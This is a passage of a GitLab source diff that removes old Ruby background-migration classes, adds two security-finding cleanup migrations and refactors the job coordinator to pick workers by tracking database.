--- a/lib/gitlab/background_migration/backfill_project_settings.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Backfill project_settings for a range of projects
- class BackfillProjectSettings
- def perform(start_id, end_id)
- ActiveRecord::Base.connection.execute <<~SQL
- INSERT INTO project_settings (project_id, created_at, updated_at)
- SELECT projects.id, now(), now()
- FROM projects
- WHERE projects.id BETWEEN #{start_id} AND #{end_id}
- ON CONFLICT (project_id) DO NOTHING;
- SQL
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/backfill_push_rules_id_in_projects.rb b/lib/gitlab/background_migration/backfill_push_rules_id_in_projects.rb
deleted file mode 100644
index 9b9ef70424a..00000000000
--- a/lib/gitlab/background_migration/backfill_push_rules_id_in_projects.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Class that will insert record into project_push_rules
- # for each existing push_rule
- class BackfillPushRulesIdInProjects
- # Temporary AR table for push rules
- class ProjectSetting < ActiveRecord::Base
- self.table_name = 'project_settings'
- end
-
- def perform(start_id, stop_id)
- ProjectSetting.connection.execute(<<~SQL)
- UPDATE project_settings ps1
- SET push_rule_id = pr.id
- FROM project_settings ps2
- INNER JOIN push_rules pr
- ON ps2.project_id = pr.project_id
- WHERE pr.is_sample = false
- AND pr.id BETWEEN #{start_id} AND #{stop_id}
- AND ps1.project_id = ps2.project_id
- SQL
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/drop_invalid_remediations.rb b/lib/gitlab/background_migration/drop_invalid_remediations.rb
new file mode 100644
index 00000000000..f0a0de586f5
--- /dev/null
+++ b/lib/gitlab/background_migration/drop_invalid_remediations.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # rubocop: disable Style/Documentation
+ class DropInvalidRemediations
+ def perform(start_id, stop_id)
+ end
+ end
+ # rubocop: enable Style/Documentation
+ end
+end
+
+Gitlab::BackgroundMigration::DropInvalidRemediations.prepend_mod_with('Gitlab::BackgroundMigration::DropInvalidRemediations')
diff --git a/lib/gitlab/background_migration/drop_invalid_security_findings.rb b/lib/gitlab/background_migration/drop_invalid_security_findings.rb
new file mode 100644
index 00000000000..87551bb1b1e
--- /dev/null
+++ b/lib/gitlab/background_migration/drop_invalid_security_findings.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+module Gitlab
+ module BackgroundMigration
+ # Drop rows from security_findings where the uuid is NULL
+ class DropInvalidSecurityFindings
+ # rubocop:disable Style/Documentation
+ class SecurityFinding < ActiveRecord::Base
+ include ::EachBatch
+ self.table_name = 'security_findings'
+ scope :no_uuid, -> { where(uuid: nil) }
+ end
+ # rubocop:enable Style/Documentation
+
+ PAUSE_SECONDS = 0.1
+
+ def perform(start_id, end_id, sub_batch_size)
+ ranged_query = SecurityFinding
+ .where(id: start_id..end_id)
+ .no_uuid
+
+ ranged_query.each_batch(of: sub_batch_size) do |sub_batch|
+ first, last = sub_batch.pluck(Arel.sql('min(id), max(id)')).first
+
+ # The query need to be reconstructed because .each_batch modifies the default scope
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/330510
+ SecurityFinding.unscoped
+ .where(id: first..last)
+ .no_uuid
+ .delete_all
+
+ sleep PAUSE_SECONDS
+ end
+
+ mark_job_as_succeeded(start_id, end_id, sub_batch_size)
+ end
+
+ private
+
+ def mark_job_as_succeeded(*arguments)
+ Gitlab::Database::BackgroundMigrationJob.mark_all_as_succeeded(
+ self.class.name.demodulize,
+ arguments
+ )
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/fix_promoted_epics_discussion_ids.rb b/lib/gitlab/background_migration/fix_promoted_epics_discussion_ids.rb
deleted file mode 100644
index 1a80ccdee92..00000000000
--- a/lib/gitlab/background_migration/fix_promoted_epics_discussion_ids.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This migration updates discussion ids for epics that were promoted from issue so that the discussion id on epics
- # is different from discussion id on issue, which was causing problems when replying to epic discussions as it would
- # identify the discussion as related to an issue and complaint about missing project_id
- class FixPromotedEpicsDiscussionIds
- # notes model to iterate through the notes to be updated
- class Note < ActiveRecord::Base
- self.table_name = 'notes'
- self.inheritance_column = :_type_disabled
- end
-
- def perform(discussion_ids)
- Note.where(noteable_type: 'Epic')
- .where(discussion_id: discussion_ids)
- .update_all("discussion_id=MD5(discussion_id)||substring(discussion_id from 1 for 8)")
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/fix_user_namespace_names.rb b/lib/gitlab/background_migration/fix_user_namespace_names.rb
deleted file mode 100644
index cd5b4ab103d..00000000000
--- a/lib/gitlab/background_migration/fix_user_namespace_names.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This migration fixes the namespaces.name for all user-namespaces that have names
- # that aren't equal to the users name.
- # Then it uses the updated names of the namespaces to update the associated routes
- # For more info see https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/23272
- class FixUserNamespaceNames
- def perform(from_id, to_id)
- fix_namespace_names(from_id, to_id)
- fix_namespace_route_names(from_id, to_id)
- end
-
- def fix_namespace_names(from_id, to_id)
- ActiveRecord::Base.connection.execute <<~UPDATE_NAMESPACES
- WITH namespaces_to_update AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
- SELECT
- namespaces.id,
- users.name AS correct_name
- FROM
- namespaces
- INNER JOIN users ON namespaces.owner_id = users.id
- WHERE
- namespaces.type IS NULL
- AND namespaces.id BETWEEN #{from_id} AND #{to_id}
- AND namespaces.name != users.name
- )
- UPDATE
- namespaces
- SET
- name = correct_name
- FROM
- namespaces_to_update
- WHERE
- namespaces.id = namespaces_to_update.id
- UPDATE_NAMESPACES
- end
-
- def fix_namespace_route_names(from_id, to_id)
- ActiveRecord::Base.connection.execute <<~ROUTES_UPDATE
- WITH routes_to_update AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
- SELECT
- routes.id,
- users.name AS correct_name
- FROM
- routes
- INNER JOIN namespaces ON routes.source_id = namespaces.id
- INNER JOIN users ON namespaces.owner_id = users.id
- WHERE
- namespaces.type IS NULL
- AND routes.source_type = 'Namespace'
- AND namespaces.id BETWEEN #{from_id} AND #{to_id}
- AND (routes.name != users.name OR routes.name IS NULL)
- )
- UPDATE
- routes
- SET
- name = correct_name
- FROM
- routes_to_update
- WHERE
- routes_to_update.id = routes.id
- ROUTES_UPDATE
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/fix_user_project_route_names.rb b/lib/gitlab/background_migration/fix_user_project_route_names.rb
deleted file mode 100644
index e534f2449aa..00000000000
--- a/lib/gitlab/background_migration/fix_user_project_route_names.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This migration fixes the routes.name for all user-projects that have names
- # that don't start with the users name.
- # For more info see https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/23272
- class FixUserProjectRouteNames
- def perform(from_id, to_id)
- ActiveRecord::Base.connection.execute <<~ROUTES_UPDATE
- WITH routes_to_update AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
- SELECT
- routes.id,
- users.name || ' / ' || projects.name AS correct_name
- FROM
- routes
- INNER JOIN projects ON routes.source_id = projects.id
- INNER JOIN namespaces ON projects.namespace_id = namespaces.id
- INNER JOIN users ON namespaces.owner_id = users.id
- WHERE
- routes.source_type = 'Project'
- AND routes.id BETWEEN #{from_id} AND #{to_id}
- AND namespaces.type IS NULL
- AND (routes.name NOT LIKE users.name || '%' OR routes.name IS NULL)
- )
- UPDATE
- routes
- SET
- name = routes_to_update.correct_name
- FROM
- routes_to_update
- WHERE
- routes_to_update.id = routes.id
- ROUTES_UPDATE
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/job_coordinator.rb b/lib/gitlab/background_migration/job_coordinator.rb
index 1c8819eaa62..cfbe7167677 100644
--- a/lib/gitlab/background_migration/job_coordinator.rb
+++ b/lib/gitlab/background_migration/job_coordinator.rb
@@ -8,24 +8,33 @@ module Gitlab
# convention of how the queues and worker classes are setup for each database.
#
# Also provides a database connection to the correct tracking database.
- class JobCoordinator
- VALID_DATABASES = %i[main].freeze
- WORKER_CLASS_NAME = 'BackgroundMigrationWorker'
-
- def self.for_database(database)
- database = database.to_sym
+ class JobCoordinator # rubocop:disable Metrics/ClassLength
+ class << self
+ def worker_classes
+ @worker_classes ||= [
+ BackgroundMigrationWorker
+ ].freeze
+ end
- unless VALID_DATABASES.include?(database)
- raise ArgumentError, "database must be one of [#{VALID_DATABASES.join(', ')}], got '#{database}'"
+ def worker_for_tracking_database
+ @worker_for_tracking_database ||= worker_classes
+ .index_by(&:tracking_database)
+ .with_indifferent_access
+ .freeze
end
- namespace = database.to_s.capitalize unless database == :main
- namespaced_worker_class = [namespace, WORKER_CLASS_NAME].compact.join('::')
+ def for_tracking_database(tracking_database)
+ worker_class = worker_for_tracking_database[tracking_database]
- new(database, "::#{namespaced_worker_class}".constantize)
+ if worker_class.nil?
+ raise ArgumentError, "tracking_database must be one of [#{worker_for_tracking_database.keys.join(', ')}]"
+ end
+
+ new(worker_class)
+ end
end
- attr_reader :database, :worker_class
+ attr_reader :worker_class
def queue
@queue ||= worker_class.sidekiq_options['queue']
@@ -118,15 +127,14 @@ module Gitlab
private
- def initialize(database, worker_class)
- @database = database
+ def initialize(worker_class)
@worker_class = worker_class
end
def connection
@connection ||= Gitlab::Database
.database_base_models
- .fetch(database, Gitlab::Database::PRIMARY_DATABASE_NAME)
+ .fetch(worker_class.tracking_database, Gitlab::Database::PRIMARY_DATABASE_NAME)
.connection
end
end
diff --git a/lib/gitlab/background_migration/link_lfs_objects_projects.rb b/lib/gitlab/background_migration/link_lfs_objects_projects.rb
deleted file mode 100644
index 983470c5121..00000000000
--- a/lib/gitlab/background_migration/link_lfs_objects_projects.rb
+++ /dev/null
@@ -1,82 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Create missing LfsObjectsProject records for forks
- class LinkLfsObjectsProjects
- # Model specifically used for migration.
- class LfsObjectsProject < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'lfs_objects_projects'
-
- def self.linkable
- where(
- <<~SQL
- lfs_objects_projects.project_id IN (
- SELECT fork_network_members.forked_from_project_id
- FROM fork_network_members
- WHERE fork_network_members.forked_from_project_id IS NOT NULL
- )
- SQL
- )
- end
- end
-
- # Model specifically used for migration.
- class ForkNetworkMember < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'fork_network_members'
-
- def self.without_lfs_object(lfs_object_id)
- where(
- <<~SQL
- fork_network_members.project_id NOT IN (
- SELECT lop.project_id
- FROM lfs_objects_projects lop
- WHERE lop.lfs_object_id = #{lfs_object_id}
- )
- SQL
- )
- end
- end
-
- BATCH_SIZE = 1000
-
- def perform(start_id, end_id)
- lfs_objects_projects =
- Gitlab::BackgroundMigration::LinkLfsObjectsProjects::LfsObjectsProject
- .linkable
- .where(id: start_id..end_id)
-
- return if lfs_objects_projects.empty?
-
- lfs_objects_projects.find_each do |lop|
- ForkNetworkMember
- .select("#{lop.lfs_object_id}, fork_network_members.project_id, NOW(), NOW()")
- .without_lfs_object(lop.lfs_object_id)
- .where(forked_from_project_id: lop.project_id)
- .each_batch(of: BATCH_SIZE) do |batch, index|
- execute <<~SQL
- INSERT INTO lfs_objects_projects (lfs_object_id, project_id, created_at, updated_at)
- #{batch.to_sql}
- SQL
-
- logger.info(message: "LinkLfsObjectsProjects: created missing LfsObjectsProject records for LfsObject #{lop.lfs_object_id}")
- end
- end
- end
-
- private
-
- def execute(sql)
- ::ActiveRecord::Base.connection.execute(sql)
- end
-
- def logger
- @logger ||= Gitlab::BackgroundMigration::Logger.build
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/migrate_fingerprint_sha256_within_keys.rb b/lib/gitlab/background_migration/migrate_fingerprint_sha256_within_keys.rb
deleted file mode 100644
index 36a339c6b80..00000000000
--- a/lib/gitlab/background_migration/migrate_fingerprint_sha256_within_keys.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This class is responsible to update all sha256 fingerprints within the keys table
- class MigrateFingerprintSha256WithinKeys
- # Temporary AR table for keys
- class Key < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'keys'
- self.inheritance_column = :_type_disabled
- end
-
- TEMP_TABLE = 'tmp_fingerprint_sha256_migration'
-
- def perform(start_id, stop_id)
- ActiveRecord::Base.transaction do
- execute(<<~SQL)
- CREATE TEMPORARY TABLE #{TEMP_TABLE}
- (id bigint primary key, fingerprint_sha256 bytea not null)
- ON COMMIT DROP
- SQL
-
- fingerprints = []
- Key.where(id: start_id..stop_id, fingerprint_sha256: nil).find_each do |regular_key|
- if fingerprint = generate_ssh_public_key(regular_key.key)
- bytea = ActiveRecord::Base.connection.escape_bytea(Base64.decode64(fingerprint))
-
- fingerprints << {
- id: regular_key.id,
- fingerprint_sha256: bytea
- }
- end
- end
-
- ApplicationRecord.legacy_bulk_insert(TEMP_TABLE, fingerprints) # rubocop:disable Gitlab/BulkInsert
-
- execute("ANALYZE #{TEMP_TABLE}")
-
- execute(<<~SQL)
- UPDATE keys
- SET fingerprint_sha256 = t.fingerprint_sha256
- FROM #{TEMP_TABLE} t
- WHERE keys.id = t.id
- SQL
- end
- end
-
- private
-
- def generate_ssh_public_key(regular_key)
- Gitlab::SSHPublicKey.new(regular_key).fingerprint("SHA256")&.gsub("SHA256:", "")
- end
-
- def execute(query)
- ActiveRecord::Base.connection.execute(query)
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/migrate_pages_metadata.rb b/lib/gitlab/background_migration/migrate_pages_metadata.rb
deleted file mode 100644
index 68fd0c17d29..00000000000
--- a/lib/gitlab/background_migration/migrate_pages_metadata.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Class that will insert record into project_pages_metadata
- # for each existing project
- class MigratePagesMetadata
- def perform(start_id, stop_id)
- perform_on_relation(Project.where(id: start_id..stop_id))
- end
-
- def perform_on_relation(relation)
- successful_pages_deploy = <<~SQL
- SELECT TRUE
- FROM ci_builds
- WHERE ci_builds.type = 'GenericCommitStatus'
- AND ci_builds.status = 'success'
- AND ci_builds.stage = 'deploy'
- AND ci_builds.name = 'pages:deploy'
- AND ci_builds.project_id = projects.id
- LIMIT 1
- SQL
-
- select_from = relation
- .select("projects.id", "COALESCE((#{successful_pages_deploy}), FALSE)")
- .to_sql
-
- ActiveRecord::Base.connection_pool.with_connection do |connection|
- connection.execute <<~SQL
- INSERT INTO project_pages_metadata (project_id, deployed)
- #{select_from}
- ON CONFLICT (project_id) DO NOTHING
- SQL
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/migrate_security_scans.rb b/lib/gitlab/background_migration/migrate_security_scans.rb
deleted file mode 100644
index 0ae984f2dbc..00000000000
--- a/lib/gitlab/background_migration/migrate_security_scans.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # rubocop: disable Style/Documentation
- class MigrateSecurityScans
- def perform(start_id, stop_id)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::MigrateSecurityScans.prepend_mod_with('Gitlab::BackgroundMigration::MigrateSecurityScans')
diff --git a/lib/gitlab/background_migration/migrate_to_hashed_storage.rb b/lib/gitlab/background_migration/migrate_to_hashed_storage.rb
deleted file mode 100644
index 4054db4fb87..00000000000
--- a/lib/gitlab/background_migration/migrate_to_hashed_storage.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Background migration to move any legacy project to Hashed Storage
- class MigrateToHashedStorage
- def perform
- batch_size = helper.batch_size
- legacy_projects_count = Project.with_unmigrated_storage.count
-
- if storage_migrator.rollback_pending?
- logger.warn(
- migrator: 'MigrateToHashedStorage',
- message: 'Aborting an storage rollback operation currently in progress'
- )
-
- storage_migrator.abort_rollback!
- end
-
- if legacy_projects_count == 0
- logger.info(
- migrator: 'MigrateToHashedStorage',
- message: 'There are no projects requiring migration to Hashed Storage'
- )
-
- return
- end
-
- logger.info(
- migrator: 'MigrateToHashedStorage',
- message: "Enqueuing migration of #{legacy_projects_count} projects in batches of #{batch_size}"
- )
-
- helper.project_id_batches_migration do |start, finish|
- storage_migrator.bulk_schedule_migration(start: start, finish: finish)
-
- logger.info(
- migrator: 'MigrateToHashedStorage',
- message: "Enqueuing migration of projects in batches of #{batch_size} from ID=#{start} to ID=#{finish}",
- batch_from: start,
- batch_to: finish
- )
- end
- end
-
- private
-
- def helper
- Gitlab::HashedStorage::RakeHelper
- end
-
- def storage_migrator
- @storage_migrator ||= Gitlab::HashedStorage::Migrator.new
- end
-
- def logger
- @logger ||= ::Gitlab::BackgroundMigration::Logger.build
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/move_epic_issues_after_epics.rb b/lib/gitlab/background_migration/move_epic_issues_after_epics.rb
deleted file mode 100644
index 174994c7862..00000000000
--- a/lib/gitlab/background_migration/move_epic_issues_after_epics.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # rubocop: disable Style/Documentation
- class MoveEpicIssuesAfterEpics
- def perform(start_id, stop_id)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::MoveEpicIssuesAfterEpics.prepend_mod_with('Gitlab::BackgroundMigration::MoveEpicIssuesAfterEpics')
diff --git a/lib/gitlab/background_migration/populate_any_approval_rule_for_merge_requests.rb b/lib/gitlab/background_migration/populate_any_approval_rule_for_merge_requests.rb
deleted file mode 100644
index 890a43800c9..00000000000
--- a/lib/gitlab/background_migration/populate_any_approval_rule_for_merge_requests.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This background migration creates any approver rule records according
- # to the given merge request IDs range. A _single_ INSERT is issued for the given range.
- class PopulateAnyApprovalRuleForMergeRequests
- def perform(from_id, to_id)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::PopulateAnyApprovalRuleForMergeRequests.prepend_mod_with('Gitlab::BackgroundMigration::PopulateAnyApprovalRuleForMergeRequests')
diff --git a/lib/gitlab/background_migration/populate_any_approval_rule_for_projects.rb b/lib/gitlab/background_migration/populate_any_approval_rule_for_projects.rb
deleted file mode 100644
index ac7ed18ba14..00000000000
--- a/lib/gitlab/background_migration/populate_any_approval_rule_for_projects.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This background migration creates any approver rule records according
- # to the given project IDs range. A _single_ INSERT is issued for the given range.
- class PopulateAnyApprovalRuleForProjects
- def perform(from_id, to_id)
- end
- end
- end
-end
-
-Gitlab::BackgroundMigration::PopulateAnyApprovalRuleForProjects.prepend_mod_with('Gitlab::BackgroundMigration::PopulateAnyApprovalRuleForProjects')
diff --git a/lib/gitlab/background_migration/populate_canonical_emails.rb b/lib/gitlab/background_migration/populate_canonical_emails.rb
deleted file mode 100644
index 052e75c5655..00000000000
--- a/lib/gitlab/background_migration/populate_canonical_emails.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Class to populate new rows of UserCanonicalEmail based on existing email addresses
- class PopulateCanonicalEmails
- def perform(start_id, stop_id)
- ActiveRecord::Base.connection.execute <<~SQL
- INSERT INTO
- user_canonical_emails (
- user_id,
- canonical_email,
- created_at,
- updated_at
- )
- SELECT users.id AS user_id,
- concat(translate(split_part(split_part(users.email, '@', 1), '+', 1), '.', ''), '@gmail.com') AS canonical_email,
- NOW() AS created_at,
- NOW() AS updated_at
- FROM users
- WHERE users.email ILIKE '%@gmail.com'
- AND users.id BETWEEN #{start_id} AND #{stop_id}
- ON CONFLICT DO NOTHING;
- SQL
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities.rb b/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities.rb
deleted file mode 100644
index 68c91650d93..00000000000
--- a/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This class updates vulnerabilities entities with state dismissed
- class PopulateDismissedStateForVulnerabilities
- class Vulnerability < ActiveRecord::Base # rubocop:disable Style/Documentation
- self.table_name = 'vulnerabilities'
- end
-
- def perform(*vulnerability_ids)
- Vulnerability.where(id: vulnerability_ids).update_all(state: 2)
- PopulateMissingVulnerabilityDismissalInformation.new.perform(*vulnerability_ids)
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/populate_has_vulnerabilities.rb b/lib/gitlab/background_migration/populate_has_vulnerabilities.rb
deleted file mode 100644
index 28ff2070209..00000000000
--- a/lib/gitlab/background_migration/populate_has_vulnerabilities.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This class populates missing dismissal information for
- # vulnerability entries.
- class PopulateHasVulnerabilities
- class ProjectSetting < ActiveRecord::Base # rubocop:disable Style/Documentation
- self.table_name = 'project_settings'
-
- def self.upsert_for(project_ids)
- connection.execute(upsert_sql % { project_ids: project_ids.join(', ') })
- end
-
- def self.upsert_sql
- <<~SQL
- WITH upsert_data (project_id, has_vulnerabilities, created_at, updated_at) AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
- SELECT projects.id, true, current_timestamp, current_timestamp FROM projects WHERE projects.id IN (%{project_ids})
- )
- INSERT INTO project_settings
- (project_id, has_vulnerabilities, created_at, updated_at)
- (SELECT * FROM upsert_data)
- ON CONFLICT (project_id)
- DO UPDATE SET
- has_vulnerabilities = true,
- updated_at = EXCLUDED.updated_at
- SQL
- end
- end
-
- class Vulnerability < ActiveRecord::Base # rubocop:disable Style/Documentation
- include EachBatch
-
- self.table_name = 'vulnerabilities'
- end
-
- def perform(*project_ids)
- ProjectSetting.upsert_for(project_ids)
- rescue StandardError => e
- log_error(e, project_ids)
- ensure
- log_info(project_ids)
- end
-
- private
-
- def log_error(error, project_ids)
- ::Gitlab::BackgroundMigration::Logger.error(
- migrator: self.class.name,
- message: error.message,
- project_ids: project_ids
- )
- end
-
- def log_info(project_ids)
- ::Gitlab::BackgroundMigration::Logger.info(
- migrator: self.class.name,
- message: 'Projects has been processed to populate `has_vulnerabilities` information',
- count: project_ids.length
- )
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/populate_merge_request_assignees_table.rb b/lib/gitlab/background_migration/populate_merge_request_assignees_table.rb
deleted file mode 100644
index 28cc4a5e3fa..00000000000
--- a/lib/gitlab/background_migration/populate_merge_request_assignees_table.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This background migration creates records on merge_request_assignees according
- # to the given merge request IDs range. A _single_ INSERT is issued for the given range.
- # This is required for supporting multiple assignees on merge requests.
- class PopulateMergeRequestAssigneesTable
- def perform(from_id, to_id)
- select_sql =
- MergeRequest
- .where(merge_request_assignees_not_exists_clause)
- .where(id: from_id..to_id)
- .where.not(assignee_id: nil)
- .select(:id, :assignee_id)
- .to_sql
-
- execute("INSERT INTO merge_request_assignees (merge_request_id, user_id) #{select_sql}")
- end
-
- def perform_all_sync(batch_size:)
- MergeRequest.each_batch(of: batch_size) do |batch|
- range = batch.pluck('MIN(id)', 'MAX(id)').first
-
- perform(*range)
- end
- end
-
- private
-
- def merge_request_assignees_not_exists_clause
- <<~SQL
- NOT EXISTS (SELECT 1 FROM merge_request_assignees
- WHERE merge_request_assignees.merge_request_id = merge_requests.id)
- SQL
- end
-
- def execute(sql)
- @connection ||= ActiveRecord::Base.connection
- @connection.execute(sql)
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information.rb b/lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information.rb
deleted file mode 100644
index 04342fdabd4..00000000000
--- a/lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This class populates missing dismissal information for
- # vulnerability entries.
- class PopulateMissingVulnerabilityDismissalInformation
- class Vulnerability < ActiveRecord::Base # rubocop:disable Style/Documentation
- include EachBatch
-
- self.table_name = 'vulnerabilities'
-
- has_one :finding, class_name: '::Gitlab::BackgroundMigration::PopulateMissingVulnerabilityDismissalInformation::Finding'
-
- scope :broken, -> { where('state = 2 AND (dismissed_at IS NULL OR dismissed_by_id IS NULL)') }
-
- def copy_dismissal_information
- return unless finding&.dismissal_feedback
-
- update_columns(
- dismissed_at: finding.dismissal_feedback.created_at,
- dismissed_by_id: finding.dismissal_feedback.author_id
- )
- end
- end
-
- class Finding < ActiveRecord::Base # rubocop:disable Style/Documentation
- include ShaAttribute
- include ::Gitlab::Utils::StrongMemoize
-
- self.table_name = 'vulnerability_occurrences'
-
- sha_attribute :project_fingerprint
-
- def dismissal_feedback
- strong_memoize(:dismissal_feedback) do
- Feedback.dismissal.where(category: report_type, project_fingerprint: project_fingerprint, project_id: project_id).first
- end
- end
- end
-
- class Feedback < ActiveRecord::Base # rubocop:disable Style/Documentation
- DISMISSAL_TYPE = 0
-
- self.table_name = 'vulnerability_feedback'
-
- scope :dismissal, -> { where(feedback_type: DISMISSAL_TYPE) }
- end
-
- def perform(*vulnerability_ids)
- Vulnerability.includes(:finding).where(id: vulnerability_ids).each { |vulnerability| populate_for(vulnerability) }
-
- log_info(vulnerability_ids)
- end
-
- private
-
- def populate_for(vulnerability)
- log_warning(vulnerability) unless vulnerability.copy_dismissal_information
- rescue StandardError => error
- log_error(error, vulnerability)
- end
-
- def log_info(vulnerability_ids)
- ::Gitlab::BackgroundMigration::Logger.info(
- migrator: self.class.name,
- message: 'Dismissal information has been copied',
- count: vulnerability_ids.length
- )
- end
-
- def log_warning(vulnerability)
- ::Gitlab::BackgroundMigration::Logger.warn(
- migrator: self.class.name,
- message: 'Could not update vulnerability!',
- vulnerability_id: vulnerability.id
- )
- end
-
- def log_error(error, vulnerability)
- ::Gitlab::BackgroundMigration::Logger.error(
- migrator: self.class.name,
- message: error.message,
- vulnerability_id: vulnerability.id
- )
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/populate_personal_snippet_statistics.rb b/lib/gitlab/background_migration/populate_personal_snippet_statistics.rb
deleted file mode 100644
index ed7ffce8018..00000000000
--- a/lib/gitlab/background_migration/populate_personal_snippet_statistics.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This class creates/updates those personal snippets statistics
- # that haven't been created nor initialized.
- # It also updates the related root storage namespace stats
- class PopulatePersonalSnippetStatistics
- def perform(snippet_ids)
- personal_snippets(snippet_ids).group_by(&:author).each do |author, author_snippets|
- upsert_snippet_statistics(author_snippets)
- update_namespace_statistics(author.namespace)
- end
- end
-
- private
-
- def personal_snippets(snippet_ids)
- PersonalSnippet
- .where(id: snippet_ids)
- .includes(author: :namespace)
- .includes(:statistics)
- .includes(snippet_repository: :shard)
- end
-
- def upsert_snippet_statistics(snippets)
- snippets.each do |snippet|
- response = Snippets::UpdateStatisticsService.new(snippet).execute
-
- error_message("#{response.message} snippet: #{snippet.id}") if response.error?
- end
- end
-
- def update_namespace_statistics(namespace)
- Namespaces::StatisticsRefresherService.new.execute(namespace)
- rescue StandardError => e
- error_message("Error updating statistics for namespace #{namespace.id}: #{e.message}")
- end
-
- def logger
- @logger ||= Gitlab::BackgroundMigration::Logger.build
- end
-
- def error_message(message)
- logger.error(message: "Snippet Statistics Migration: #{message}")
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/populate_project_snippet_statistics.rb b/lib/gitlab/background_migration/populate_project_snippet_statistics.rb
deleted file mode 100644
index 37af320f044..00000000000
--- a/lib/gitlab/background_migration/populate_project_snippet_statistics.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # This class creates/updates those project snippets statistics
- # that haven't been created nor initialized.
- # It also updates the related project statistics and its root storage namespace stats
- class PopulateProjectSnippetStatistics
- def perform(snippet_ids)
- project_snippets(snippet_ids).group_by(&:namespace_id).each do |namespace_id, namespace_snippets|
- namespace_snippets.group_by(&:project).each do |project, snippets|
- upsert_snippet_statistics(snippets)
- update_project_statistics(project)
- rescue StandardError
- error_message("Error updating statistics for project #{project.id}")
- end
-
- update_namespace_statistics(namespace_snippets.first.project.root_namespace)
- rescue StandardError => e
- error_message("Error updating statistics for namespace #{namespace_id}: #{e.message}")
- end
- end
-
- private
-
- def project_snippets(snippet_ids)
- ProjectSnippet
- .select('snippets.*, projects.namespace_id')
- .where(id: snippet_ids)
- .joins(:project)
- .includes(:statistics)
- .includes(snippet_repository: :shard)
- .includes(project: [:route, :statistics, :namespace])
- end
-
- def upsert_snippet_statistics(snippets)
- snippets.each do |snippet|
- response = Snippets::UpdateStatisticsService.new(snippet).execute
-
- error_message("#{response.message} snippet: #{snippet.id}") if response.error?
- end
- end
-
- def logger
- @logger ||= Gitlab::BackgroundMigration::Logger.build
- end
-
- def error_message(message)
